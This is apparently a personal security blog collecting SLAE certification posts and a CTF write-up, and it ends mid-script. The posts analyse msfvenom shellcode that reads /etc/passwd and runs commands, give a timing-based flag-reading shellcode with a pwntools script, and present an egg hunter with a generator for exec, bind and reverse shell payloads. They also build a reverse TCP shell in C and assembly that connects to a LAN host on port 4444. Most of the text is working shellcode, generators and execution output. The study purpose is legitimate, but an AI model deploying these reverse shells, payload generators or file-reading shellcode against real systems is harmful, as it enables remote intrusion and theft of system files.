[emu 0x0x82d8078 debug ] B805000000                      mov eax,0x5
[emu 0x0x82d8078 debug ] cpu state    eip=0x00417007
[emu 0x0x82d8078 debug ] eax=0x00000005  ecx=0x00000000  edx=0x00000000  ebx=0x00000000
[emu 0x0x82d8078 debug ] esp=0x00416fca  ebp=0x00000000  esi=0x00000000  edi=0x00000000
[emu 0x0x82d8078 debug ] Flags: 
[emu 0x0x82d8078 debug ] 5B                              pop ebx
[emu 0x0x82d8078 debug ] cpu state    eip=0x00417008
[emu 0x0x82d8078 debug ] eax=0x00000005  ecx=0x00000000  edx=0x00000000  ebx=0x0041703d
[emu 0x0x82d8078 debug ] esp=0x00416fce  ebp=0x00000000  esi=0x00000000  edi=0x00000000
[emu 0x0x82d8078 debug ] Flags: 
[emu 0x0x82d8078 debug ] 31C9                            xor ecx,ecx
[emu 0x0x82d8078 debug ] cpu state    eip=0x0041700a
[emu 0x0x82d8078 debug ] eax=0x00000005  ecx=0x00000000  edx=0x00000000  ebx=0x0041703d
[emu 0x0x82d8078 debug ] esp=0x00416fce  ebp=0x00000000  esi=0x00000000  edi=0x00000000
[emu 0x0x82d8078 debug ] Flags: PF ZF 
[emu 0x0x82d8078 debug ] CD80                            int 0x80
stepcount 5
[emu 0x0x82d8078 debug ] cpu state    eip=0x0041700c
[emu 0x0x82d8078 debug ] eax=0x00000005  ecx=0x00000000  edx=0x00000000  ebx=0x0041703d
[emu 0x0x82d8078 debug ] esp=0x00416fce  ebp=0x00000000  esi=0x00000000  edi=0x00000000
[emu 0x0x82d8078 debug ] Flags: PF ZF 

We can see the syscalls:
0x5 - sys_open Open the file
0x3 - sys_read Read the file
0x4 - sys_write Used for write

Very easy to understand reading the assembly code. To execute, we compile the shellcode and debug it. Generate the shellcode in C format.

root@HackingLab:/opt/metasploit-framework# ./msfvenom -p linux/x86/read_file -f c -a x86 PATH=/etc/passwd -o /home/hiro/SLAE/SLAE/EXAMEN/GitHub/SLAE/Assignment5/msf-read_file-shellcode.c

#include
#include

unsigned char code[] =
"\xeb\x36\xb8\x05\x00\x00\x00\x5b\x31\xc9\xcd\x80\x89\xc3\xb8"
"\x03\x00\x00\x00\x89\xe7\x89\xf9\xba\x00\x10\x00\x00\xcd\x80"
"\x89\xc2\xb8\x04\x00\x00\x00\xbb\x01\x00\x00\x00\xcd\x80\xb8"
"\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xc5\xff\xff"
"\xff\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64\x00";


int main()
{
        printf("Shellcode Length:  %d\n", strlen(code));
        int (*ret)() = (int(*)())code;
        ret();
}

Compile and run.

hiro@HackingLab:~/SLAE/SLAE/EXAMEN/GitHub/SLAE/Assignment5$ gcc -fno-stack-protector -z execstack msf-read_file-shellcode.c -o msf-read_file
hiro@HackingLab:~/SLAE/SLAE/EXAMEN/GitHub/SLAE/Assignment5$ ./msf-read_file
Shellcode Length:  4
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
...


linux/x86/exec

 As the msfvenom payload description says this shellcode "Execute an arbitrary command". And We are going to understand how it works.
The first step is generate the shellcode with the following command (we generated in C format too).

root@HackingLab:/opt/metasploit-framework# ./msfvenom -p linux/x86/exec CMD=id -a x86 -o /home/hiro/SLAE/SLAE/EXAMEN/GitHub/SLAE/Assignment5/msf-exec
No platform was selected, choosing Msf::Module::Platform::Linux from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 38 bytes
Saved as: /home/hiro/SLAE/SLAE/EXAMEN/GitHub/SLAE/Assignment5/msf-exec
root@HackingLab:/opt/metasploit-framework# ./msfvenom -p linux/x86/exec CMD=id -f c -a x86 -o /home/hiro/SLAE/SLAE/EXAMEN/GitHub/SLAE/Assignment5/msf-exec.c
No platform was selected, choosing Msf::Module::Platform::Linux from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 38 bytes
Final size of c file: 185 bytes
Saved as: /home/hiro/SLAE/SLAE/EXAMEN/GitHub/SLAE/Assignment5/msf-exec.c

We dissasemble the shellcode with ndisasm.

hiro@HackingLab:~/SLAE/SLAE/EXAMEN/GitHub/SLAE/Assignment5$ cat msf-exec | ndisasm -u -
00000000  6A0B              push byte +0xb
00000002  58                pop eax
00000003  99                cdq
00000004  52                push edx
00000005  66682D63          push word 0x632d
00000009  89E7              mov edi,esp
0000000B  682F736800        push dword 0x68732f
00000010  682F62696E        push dword 0x6e69622f
00000015  89E3              mov ebx,esp
00000017  52                push edx
00000018  E803000000        call dword 0x20
0000001D  696400575389E1CD  imul esp,[eax+eax+0x57],dword 0xcde18953
00000025  80                db 0x80

We know the "/bin/sh" code is in

0000000B  682F736800        push dword 0x68732f
00000010  682F62696E        push dword 0x6e69622f

I thought that ndisasm did not dissasemble correctly the shellcode. So I compiled and debugged it with gdb.

       
hiro@HackingLab:~/SLAE/SLAE/EXAMEN/GitHub/SLAE/Assignment5$ gcc -fno-stack-protector -z execstack msf-exec.c -o msf-exec
hiro@HackingLab:~/SLAE/SLAE/EXAMEN/GitHub/SLAE/Assignment5$ gdb -q ./msf-exec 
Reading symbols from ./msf-exec...(no debugging symbols found)...done.
gdb-peda$ b *&code
Breakpoint 1 at 0x8049760
gdb-peda$ r
....

I saw that the call dword 0x20 instruction is executed, the arguments are:

arg[0]: 0x0 
arg[1]: 0x6e69622f ('/bin')
arg[2]: 0x68732f ('/sh')
arg[3]: 0x632d ('-c')
arg[4]: 0x84690000 

And it call to code+32
   0x804977f : add    BYTE PTR [edi+0x53],dl
   0x8049782 : mov    ecx,esp
=> 0x8049784 : int    0x80
   0x8049786 : add    BYTE PTR [eax],al
   0x8049788: add    BYTE PTR [eax],al
   0x804978a: add    BYTE PTR [eax],al
   0x804978c: add    BYTE PTR [eax],al
[------------------------------------stack-------------------------------------]
0000| 0xbffff32e --> 0xbffff33e ("/bin/sh")
0004| 0xbffff332 --> 0xbffff346 --> 0x632d ('-c')
0008| 0xbffff336 --> 0x804977d --> 0x57006469 ('id')

The problem with ndisasm is that the line 0000001D is not dissasembled correctly.

0000001D  696400575389E1CD  imul esp,[eax+eax+0x57],dword 0xcde18953

So, when we debugged the program, we understood how it works. When the syscall sys_execve (0xb) is called, the registers are:

EAX: 0xb ('\x0b')
EBX: 0xbffff33e ("/bin/sh")
ECX: 0xbffff32e --> 0xbffff33e ("/bin/sh")
EDX: 0x0 

... and the stack:
0000| 0xbffff32e --> 0xbffff33e ("/bin/sh")
0004| 0xbffff332 --> 0xbffff346 --> 0x632d ('-c')
0008| 0xbffff336 --> 0x804977d --> 0x57006469 ('id')

It works...

hiro@HackingLab:~/SLAE/SLAE/EXAMEN/GitHub/SLAE/Assignment5$ gcc -fno-stack-protector -z execstack msf-exec.c -o msf-exec
hiro@HackingLab:~/SLAE/SLAE/EXAMEN/GitHub/SLAE/Assignment5$ ./msf-exec 
Shellcode Length:  15
uid=1000(hiro) gid=1000(hiro) groups=1000(hiro),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev),110(lpadmin),113(scanner)


Source code: https://github.com/Sinkmanu/SLAE/tree/master/Assignment5

lunes, 8 de mayo de 2017

Reading files without the write syscall

Recently, I played in the DefCon CTF quals and there I saw a very interesting challenge called Mute [1]. It was a exploiting challenge, the flow control was very easy but the real challenge was in the libseccomp [2] bypass. It is a library to forbid syscalls that You don't want that the program executes. So, the write syscall wasn't allow.


I had not success with this challenge, but These are to learn!!! So, later, I read the writeup and I saw how it could be solved. One possible solution could be get each character and set a delay if the character match. Like a blind-SQLi.


I saw it very interesting, so I did my own shellcode to read characters and before I wrote a python script that uses this shellcode to read the file and print without the write syscall.

It is the assembly code:
       
global _start

section .text

_start:
        ; sys_open
        xor rax, rax
        xor rdi, rdi
        push rdi
        mov rdi, 0x67616c662f2f2f2e     ; .///flag 2e2f2f2f666c6167
        push rdi
        mov rdi, rsp                    ; *file
        xor rsi, rsi                    ; flags
        xor rdx, rdx                    ; mode
        mov al, 2
        syscall

        mov rdi, rax                    ; fd
        lea rsi, [rsp+8]                ; *buf
        or rdx, 0xf
        xor rax, rax                    ; sys_read
        syscall

        ; rsi is the string
        xor rdx, rdx
        mov rdx, 0x74                   ; compare character
        mov al, byte [rsi]              ; position
        cmp rax, rdx
        jnz exit

        ; guess OK
        xor r11, r11
        mov r11, 0
delay:
        inc r11
        cmp r11, 0x7fffffff
        jb delay

exit:
        xor rdi, rdi
        mov al, 60                      ; sys_exit
        syscall



And it is the python script:
       

#!/usr/bin/env python

from pwn import *
import string
import time

context.log_level = 'error'

u = make_unpacker(64, endian='little', sign='unsigned')
filename = hex(u('.///flag'))
flag = ""
pos = -1
lastchar = 0

while (lastchar < len(string.printable)):
        for i in string.printable:
                start = time.time()
                shellcode = '''
        xor rax, rax 
        xor rdi, rdi 
        push rdi 
        mov rdi, %s
        push rdi 
        mov rdi, rsp                     
        xor rsi, rsi                    
        xor rdx, rdx                    
        mov al, 2
        syscall
        mov rdi, rax                    
        lea rsi, [rsp+8]                
        or rdx, 0xf
        xor rax, rax                    
        syscall
        xor rdx, rdx
        mov rdx, %s                  
        mov al, byte [rsi+%s]
        cmp rax, rdx
        jnz exit
        xor r11, r11
        mov r11, 0
delay:
        inc r11
        cmp r11, 0x7fffffff
        jb delay
exit:
        xor rdi, rdi
        mov al, 60                    
        syscall
'''%(filename,hex(ord(i)),str(pos))
                lastchar += 1
                p = run_assembly(shellcode, arch="amd64")
                p.wait_for_close()
                end = time.time()
                if ((end - start) > 0.5):
                        pos += 1
                        lastchar = 0
                        print "Found: %s"%i
                        flag = "%s%s"%(flag,i)

print "[*] String: %s"%flag



[1] https://ctftime.org/task/4126
[2] https://github.com/seccomp/libseccomp
[3] https://gist.github.com/Sinkmanu/ae701fd14b2c2af1bf745268d896ca52

martes, 4 de abril de 2017

Assignment 3: Egg Hunter Shellcode (SLAE)

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:
http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/

Student ID: SLAE-858


Exercise

  •  Study about the egg hunter shellcode  
  • Create a working demo of the Egghunter  
  • Should be configurable for different payloads 

 

Solution

First, What is an EggHunter shellcode?
A EggHunter is a little program that It is used to find a "pattern". In our case of study, our egghunter look for the pattern because after is the shellcode. It is very important and useful when we don't know where is the shellcode. So the egghunter program will look in all the memory position to find the "EGG" and run the shellcode.
Exists multiple ways to do an egghunter shellcode, but the best way is read all the memory position to find it.


       
global _start

_start:

align_page:
    or cx,0xfff         ; page alignment


next_address:
    inc ecx
    push byte +0x43     ; sigaction(2)
    pop eax             
    int 0x80            
    cmp al,0xf2         ; EFAULT?
    jz align_page       
    mov eax, 0x50905090 
    mov edi, ecx        
    scasd               
    jnz next_address    
    scasd               
    jnz next_address    
    jmp edi  


It is a very good way to read all memory positions, this egghunter shellcode was described in the Skape paper about the EggHunter. In this program, every memory position is read using the syscall sigaction, when the code EFAULT is returned means that the position is invalid and when it happens we aling the page, but when the position is OK we check the content of these position and compare with our EGG. If the egg is inside the position, our shellcode is 8-bytes after. So we jump to the 8-byte after position where we found the EGG.

Demo

       
hiro@HackingLab:~/SLAE/SLAE/EXAMEN/GitHub/SLAE/Assignment3$ nasm -f elf32 egg-hunter.nasm -o egg-hunter.o
hiro@HackingLab:~/SLAE/SLAE/EXAMEN/GitHub/SLAE/Assignment3$ ld egg-hunter.o -o egg-hunter
hiro@HackingLab:~/SLAE/SLAE/EXAMEN/GitHub/SLAE/Assignment3$ objdump -d ./egg-hunter|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-7 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
"\x66\x81\xc9\xff\x0f\x41\x6a\x43\x58\xcd\x80\x3c\xf2\x74\xf1\xb8\x90\x50\x90\x50\x89\xcf\xaf\x75\xec\xaf\x75\xe9\xff\xe7"
hiro@HackingLab:~/SLAE/SLAE/EXAMEN/GitHub/SLAE/Assignment3$ cat shellcode.c 
#include
#include

#define EGG "\x90\x50\x90\x50"

unsigned char egg_hunter[] = \
"\x66\x81\xc9\xff\x0f\x41\x6a\x43\x58\xcd\x80\x3c\xf2\x74\xf1\xb8\x90\x50\x90\x50\x89\xcf\xaf\x75\xec\xaf\x75\xe9\xff\xe7";

unsigned char code[] = 
EGG
EGG 
"\x31\xc0\x31\xdb\x50\x6a\x01\x6a\x02\x89\xe1\xb3\x01\xb0\x66\xcd\x80\x89\xc6\x31\xc9\x68\xc0\xa8\x01\x40\x66\x68\x11\x5c\x66\x6a\x02\x89\xe1\x6a\x10\x51\x56\x89\xe1\xb0\x66\xb3\x03\xcd\x80\x89\xf3\x31\xc9\xb0\x3f\xcd\x80\x41\x83\xf9\x02\x7e\xf6\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";

main()
{

 printf("Egg hunter Length: %d\n", strlen(egg_hunter));
 printf("Shellcode Length:  %d\n", strlen(code));

 int (*ret)() = (int(*)())egg_hunter;

 ret();

}
hiro@HackingLab:~/SLAE/SLAE/EXAMEN/GitHub/SLAE/Assignment3$ gcc -fno-stack-protector -z execstack shellcode.c -o shellcode
hiro@HackingLab:~/SLAE/SLAE/EXAMEN/GitHub/SLAE/Assignment3$ ./shellcode 
Egg hunter Length: 30
Shellcode Length:  94
$ id
uid=1000(hiro) gid=1000(hiro) groups=1000(hiro),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev),110(lpadmin),113(scanner)
$


Configurable for different payloads

I made a simple script that it generate an egghunter shellcode with different payloads like exec, bind and reverse:

       
#!/usr/bin/env python

import sys
import struct
import os
import binascii
import socket
from optparse import OptionParser, OptionGroup

shellcode_l = {
 'exec':"\x31\xc0\x31\xdb\x50\x6a\x01\x6a\x02\x89\xe1\xb3\x01\xb0\x66\xcd\x80\x89\xc6\x31\xc9\x68\xc0\xa8\x01\x40\x66\x68\x11\x5c\x66\x6a\x02\x89\xe1\x6a\x10\x51\x56\x89\xe1\xb0\x66\xb3\x03\xcd\x80\x89\xf3\x31\xc9\xb0\x3f\xcd\x80\x41\x83\xf9\x02\x7e\xf6\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80",
 'reverse':"\x31\xc0\x31\xdb\x50\x6a\x01\x6a\x02\x89\xe1\xb3\x01\xb0\x66\xcd\x80\x89\xc6\x31\xc9\x68ADDRESS\x66\x68PORT\x66\x6a\x02\x89\xe1\x6a\x10\x51\x56\x89\xe1\xb0\x66\xb3\x03\xcd\x80\x89\xf3\x31\xc9\xb0\x3f\xcd\x80\x41\x83\xf9\x02\x7e\xf6\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80",
 'bind':"\x31\xc0\x31\xdb\x50\x6a\x01\x6a\x02\x89\xe1\xb3\x01\xb0\x66\xcd\x80\x89\xc6\x31\xc0\x31\xc9\x50\x66\x68PORT\x66\x6a\x02\x89\xe1\x6a\x10\x51\x56\x89\xe1\xb0\x66\xb3\x02\xcd\x80\x31\xc0\x50\x56\x89\xe1\xb3\x04\xb0\x66\xcd\x80\x31\xc0\x50\x50\x56\x89\xe1\xb3\x05\xb0\x66\xcd\x80\x89\xc3\x31\xc9\xb0\x3f\xcd\x80\x41\x83\xf9\x02\x7e\xf6\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"
}

def eggHunter(egg):
 egghunter = "\\x66\\x81\\xc9\\xff\\x0f\\x41\\x6a\\x43\\x58\\xcd\\x80\\x3c\\xf2\\x74\\xf1\\xb8%s\\x89\\xcf\\xaf\\x75\\xec\\xaf\\x75\\xe9\\xff\\xe7"%getEgg(egg)
 return egghunter

def port2hex(port):
 return struct.pack(">H", port)


def address2hex(address):
 addr = binascii.hexlify(socket.inet_aton(address))
 return binascii.unhexlify("".join([addr[i:i+2] for i in range(0, len(addr), 2)]))
 

def getEgg(eggi):
        egg = ""
        for c in range(0, 8, 2):
                egg += "\\x%s%s" % (eggi[c], eggi[c+1])
 return egg

def nullBytes(cad):
        check = [cad.encode('hex')[i:i+2] for i in range(0, len(cad.encode('hex')), 2)]
        for i in check:
                if (i == "00"):
                        print "[-] The payload contains null bytes :("


def reversePayload(egg, address, port):
 port = port2hex(int(port))
 nullBytes(port)
 address = address2hex(address)
 nullBytes(address)
 shellcode = shellcode_l["reverse"]
 shellcode_o = shellcode.replace("PORT", port).replace("ADDRESS", address)
        sc = ""
        for c in bytearray(shellcode_o):
                sc += "\\x%02x" % c
        skeleton(egg, sc)


def bindPayload(egg, port):
 port = port2hex(int(port))
 port_check = [port.encode('hex')[i:i+2] for i in range(0, len(port.encode('hex')), 2)]
 nullBytes(port)
        shellcode = shellcode_l["bind"]
 shellcode_o = shellcode.replace("PORT", port)
        sc = ""
        for c in bytearray(shellcode_o):
                sc += "\\x%02x" % c
        skeleton(egg, sc)



def execPayload(egg):
 shellcode = shellcode_l["exec"]
 sc = ""
 for c in bytearray(shellcode):
  sc += "\\x%02x" % c
 skeleton(egg, sc)


def skeleton(egg, shellcode):
 shellcode_c = '#include\n\
#include\n\
#define EGG "%s"\n\
unsigned char egg_hunter[] = "%s";\n\
unsigned char code[] = \n\
EGG\n\
EGG\n\
"%s";\n\
main(){\n\
printf("Egg hunter Length: %%d\\n", strlen(egg_hunter));\n\
printf("Shellcode Length: %%d\\n", strlen(code));\n\
int (*ret)() = (int(*)())code;\n\
ret();\n\
}'%(getEgg(egg),eggHunter(egg),shellcode)
        print shellcode_c



def opciones():
        parser = OptionParser("usage: %prog [options] \nExample: ./%prog -e 50905090 -p exec")
        parser.add_option("-e", "--egghunter",
                  action="store", type="string", dest="egghunter", help="Egghunter pattern")
        parser.add_option("-p", "--payload",
                  action="store", type="string", dest="payload", help="Payload (exec, bind, reverse)")
        parser.add_option("-x", "--port",
                  action="store", type="string", dest="port", help="Port (bind or reverse payload)")
        parser.add_option("-a", "--address",
                  action="store", type="string", dest="address", help="Address (reverse payload)")
        (options, args) = parser.parse_args()
        if (len(sys.argv) == 1):
            parser.print_help()
        elif (options.egghunter is not None) and (options.payload is not None):
  if (options.payload == "exec"):
   execPayload(options.egghunter)
  elif (options.payload == "bind"):
   if (options.port is not None):
    bindPayload(options.egghunter, options.port)
   else:
    print "[-] Bindi shellcode needs a port"
    
  elif (options.payload == "reverse"):
   if (options.port is not None) and (options.address is not None):
    reversePayload(options.egghunter, options.address, options.port)
   else:
    print "[-] Reverse shellcode needs port and address"
  else:
   print "[-] Payload not valid"
 else:
  print "[-] Need egghunter and payload"


if __name__ == "__main__":
 opciones()


Example:

       
hiro@HackingLab:~/SLAE/SLAE/EXAMEN/GitHub/SLAE/Assignment3$ ./egghunter.py -e 90509050 -p bind -x 4444 
#include
#include
#define EGG "\x90\x50\x90\x50"
unsigned char egg_hunter[] = "\x66\x81\xc9\xff\x0f\x41\x6a\x43\x58\xcd\x80\x3c\xf2\x74\xf1\xb8\x90\x50\x90\x50\x89\xcf\xaf\x75\xec\xaf\x75\xe9\xff\xe7";
unsigned char code[] = 
EGG
EGG
"\x31\xc0\x31\xdb\x50\x6a\x01\x6a\x02\x89\xe1\xb3\x01\xb0\x66\xcd\x80\x89\xc6\x31\xc0\x31\xc9\x50\x66\x68\x11\x5c\x66\x6a\x02\x89\xe1\x6a\x10\x51\x56\x89\xe1\xb0\x66\xb3\x02\xcd\x80\x31\xc0\x50\x56\x89\xe1\xb3\x04\xb0\x66\xcd\x80\x31\xc0\x50\x50\x56\x89\xe1\xb3\x05\xb0\x66\xcd\x80\x89\xc3\x31\xc9\xb0\x3f\xcd\x80\x41\x83\xf9\x02\x7e\xf6\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";
main(){
printf("Egg hunter Length: %d\n", strlen(egg_hunter));
printf("Shellcode Length: %d\n", strlen(code));
int (*ret)() = (int(*)())code;
ret();
}


Source code: https://github.com/Sinkmanu/SLAE/tree/master/Assignment3

lunes, 6 de marzo de 2017

Assignment 2: Reverse TCP Shell (SLAE)

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:
http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/

Student ID: SLAE-858


Exercise

  • Create a Shell_Reverse_TCP shellcode
    • Reverse connects to configured IP and Port
    • Execs Shell on successful connection
  • IP and Port number should be easily configurable

Solution


In the last assignment (#1) I created a bind tcp shellcode, the socket was created as a server socket, in this assignment I need to create a client socket. Now we will see how I did it. Like in the last assignment, first, I create the client socket in C language.
The methods involved on it:

  • socket: Create an endpoint for communication and return a file descriptor  
  • connect: Connect the socket to a port and address given.
  • dup2: Duplicate the file descriptor, used for set stdin, stdout and sterr to the new file descritor (returned from accept)
  • execve: Execute a program (our purpose /bin/sh) 

       
#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <unistd.h>

int main(int argc, char *argv[]){

        // AF_INET = 2;         SOCK_STREAM = 1
        int fd = 0;
        fd = socket(AF_INET, SOCK_STREAM, 0);

        struct sockaddr_in serv_addr; 
        serv_addr.sin_family = AF_INET;
        serv_addr.sin_addr.s_addr = inet_addr("192.168.1.64");
        serv_addr.sin_port = htons(4444); 

        connect(fd, (struct sockaddr*)&serv_addr, sizeof(serv_addr)); 

        // redirect stdin, stdout, stderr
        dup2(fd, 0);
        dup2(fd, 1);
        dup2(fd, 2); 

        // run program
        execve("/bin/sh", NULL, NULL);

}


We compile, run and test it to check if It is working...

 Client:
       
hiro@HackingLab:~/SLAE/SLAE/EXAMEN/GitHub/SLAE/Assignment2$ gcc reverse-shell-tcp.c -o reverse-shell-tcp
hiro@HackingLab:~/SLAE/SLAE/EXAMEN/GitHub/SLAE/Assignment2$ ./reverse-shell-tcp 


Server:
       
iro@HackingLab:~/SLAE/SLAE/EXAMEN/GitHub/SLAE/Assignment2$ nc -lvp 4444
listening on [any] 4444 ...
192.168.1.64: inverse host lookup failed: Unknown host
connect to [192.168.1.64] from (UNKNOWN) [192.168.1.64] 36002
id
uid=1000(hiro) gid=1000(hiro) groups=1000(hiro),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev),110(lpadmin),113(scanner)


After, I start to do same in assembly language. But before we need to know what are the numbers of the involved system calls.

Method System call Socket syscall Description
socket 0x66 (102) 1 (SYS_SOCKET) Create a socket
connect 0x66 (102) 3 (SYS_CONNECT) Connect a socket
dup2 0x3f (63) None Duplicate the file descriptors
execve 0xb (11) None Execute a program

System syscalls: /usr/include/i386-linux-gnu/asm/unistd_32.h
Socket syscalls: /usr/include/linux/net.h
Socket protocols: /usr/include/i386-linux-gnu/bits/socket.h
Socket domains: /usr/include/netinet/in.h
Socket types: /usr/include/i386-linux-gnu/bits/socket_type.h

Create a socket

       
int socket(int domain, int type, int protocol);


The domain will be IPv4 Internel Protocol, the type (of communication) SOCK_STREAM and the protocol. Basically, we push the parameters in the stack and save the stack pointer in the ecx register, after we run the system call.

       
        xor eax, eax
        xor ebx, ebx
        push eax                ; protocol      - 0
        push 1                  ; type          - SOCK_STREAM,
        push 2                  ; dominio       - AF_INET

        mov ecx, esp            ; arguments
        mov bl, 1               ; sys_socket (create)
        mov al, 102             ; systemcall
        int 0x80

        mov esi, eax            ; save sockfd


Connect a socket

       
int connect(int sockfd, const struct sockaddr *addr,
                   socklen_t addrlen);


Connect the socket to an address and port.

       
    xor ecx, ecx
    push 0x4001a8c0     ; addr (192.168.1.64)
    push word 0x5c11    ; Port 4444
    push word 2     ; PF_INET
    mov ecx, esp        ; save *addr in ecx

    push 0x10       ; length addrlen=16
    push ecx        ; &serv_addr
    push esi        ; sockfd

    mov ecx, esp        ; arguments
    mov al, 102     ; systemcall
    mov bl, 3       ; sys_connect
    int 0x80


After the connection is done, I duplicate the file descriptors to send all messages to the socket file descriptor.

Dup2

       
int dup2(int oldfd, int newfd);


Duplicate the file descriptor, I did a loop to duplicate the three file descriptors (in, out and err) with the socket file descriptor.

       
        mov ebx, eax            ; oldfd = clientfd
        xor ecx, ecx            ; ecx = newfd
loop:
        mov al, 0x3f            ; syscall dup2
        int 0x80
        inc ecx
        cmp ecx, 0x2
        jle loop

 

Execve

       
int execve(const char *filename, char *const argv[],
                  char *const envp[]);


Simple exevce shellcode /bin/sh that use the stack.

       
        xor eax, eax
        push eax
        push 0x68732f2f
        push 0x6e69622f
        mov ebx, esp
        push eax
        mov edx, esp
        push ebx
        mov ecx, esp
        mov al, 11
        int 0x80



Final program

       
global _start           

section .text
_start:
    ; int socket(int domain, int type, int protocol);
    xor eax, eax
    xor ebx, ebx
    push eax        ; protocol  - 0
    push 1          ; type      - SOCK_STREAM,
    push 2          ; dominio   - AF_INET

    mov ecx, esp        ; arguments
    mov bl, 1       ; sys_socket
    mov al, 102     ; systemcall
    int 0x80

    mov esi, eax        ; save sockfd


    ; connect(int sockfd, const struct sockaddr *addr, socklen_t addrlen);
    xor ecx, ecx
    push 0x4001a8c0     ; addr (192.168.1.64)
    push word 0x5c11    ; Port 4444
    push word 2     ; PF_INET
    mov ecx, esp        ; save *addr in ecx

    push 0x10       ; length addrlen=16
    push ecx        ; &serv_addr
    push esi        ; sockfd

    mov ecx, esp        ; arguments
    mov al, 102     ; systemcall
    mov bl, 3       ; sys_connect
    int 0x80


    ; int dup2(int oldfd, int newfd);   
    mov ebx, esi        ; oldfd = clientfd
    xor ecx, ecx            ; ecx = newfd      
loop:
        mov al, 0x3f            ; syscall dup2    
        int 0x80
    inc ecx         
        cmp ecx, 0x2
        jle loop


    ; execve stack-sh
    xor eax, eax
    push eax
    push 0x68732f2f
    push 0x6e69622f
    mov ebx, esp
    push eax
    mov edx, esp
    push ebx
    mov ecx, esp
    mov al, 11
    int 0x80    

It works...
       
hiro@HackingLab:~/SLAE/SLAE/EXAMEN/GitHub/SLAE/Assignment2$ ./compile.sh reverse-tcp
[+] Assembling with Nasm ... 
[+] Linking ...
[+] Done!
hiro@HackingLab:~/SLAE/SLAE/EXAMEN/GitHub/SLAE/Assignment2$ objdump -d ./reverse-tcp|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-7 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
"\x31\xc0\x31\xdb\x50\x6a\x01\x6a\x02\x89\xe1\xb3\x01\xb0\x66\xcd\x80\x89\xc6\x31\xc9\x68\xc0\xa8\x01\x40\x66\x68\x11\x5c\x66\x6a\x02\x89\xe1\x6a\x10\x51\x56\x89\xe1\xb0\x66\xb3\x03\xcd\x80\x89\xf3\x31\xc9\xb0\x3f\xcd\x80\x41\x83\xf9\x02\x7e\xf6\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"
hiro@HackingLab:~/SLAE/SLAE/EXAMEN/GitHub/SLAE/Assignment2$ vim shellcode.c 
hiro@HackingLab:~/SLAE/SLAE/EXAMEN/GitHub/SLAE/Assignment2$ gcc -fno-stack-protector -z execstack shellcode.c -o shellcode
hiro@HackingLab:~/SLAE/SLAE/EXAMEN/GitHub/SLAE/Assignment2$ ./shellcode 
Shellcode Length:  86

       
hiro@HackingLab:~/SLAE/SLAE/EXAMEN/GitHub/SLAE/Assignment2$ nc -lvp 4444
listening on [any] 4444 ...
192.168.1.64: inverse host lookup failed: Unknown host
connect to [192.168.1.64] from (UNKNOWN) [192.168.1.64] 36003
id
uid=1000(hiro) gid=1000(hiro) groups=1000(hiro),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev),110(lpadmin),113(scanner)


Generate a reverse TCP shellcode with configurable address and port

       
#!/usr/bin/env python

import sys
import struct
import os
import binascii
import socket

def port2hex(port):
    return struct.pack(">H", port)


def address2hex(address):
    addr = binascii.hexlify(socket.inet_aton(address))
    return binascii.unhexlify("".join([addr[i:i+2] for i in range(0, len(addr), 2)]))


if __name__ == "__main__":
    if sys.argv[2] is not None:
        try:
            port = port2hex(int(sys.argv[2]))
            address = address2hex(sys.argv[1])
            port_check = [port.encode('hex')[i:i+2] for i in range(0, len(port.encode('hex')), 2)]
            address_check = [address.encode('hex')[i:i+2] for i in range(0, len(address.encode('hex')), 2)]
            nullbytes = False
            for i in port_check:
                if (i == "00"):
                    print "[-] The port contains null bytes, use another port"
                    nullbytes = True
            for i in address_check:
                if (i == "00"):
                    print "[-] The address contains null bytes."
                    nullbytes = True
            shellcode = "\x31\xc0\x31\xdb\x50\x6a\x01\x6a\x02\x89\xe1\xb3\x01\xb0\x66\xcd\x80\x89\xc6\x31\xc9\x68%s\x66\x68%s\x66\x6a\x02\x89\xe1\x6a\x10\x51\x56\x89\xe1\xb0\x66\xb3\x03\xcd\x80\x89\xf3\x31\xc9\xb0\x3f\xcd\x80\x41\x83\xf9\x02\x7e\xf6\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"%(address,port)
            sc = ""
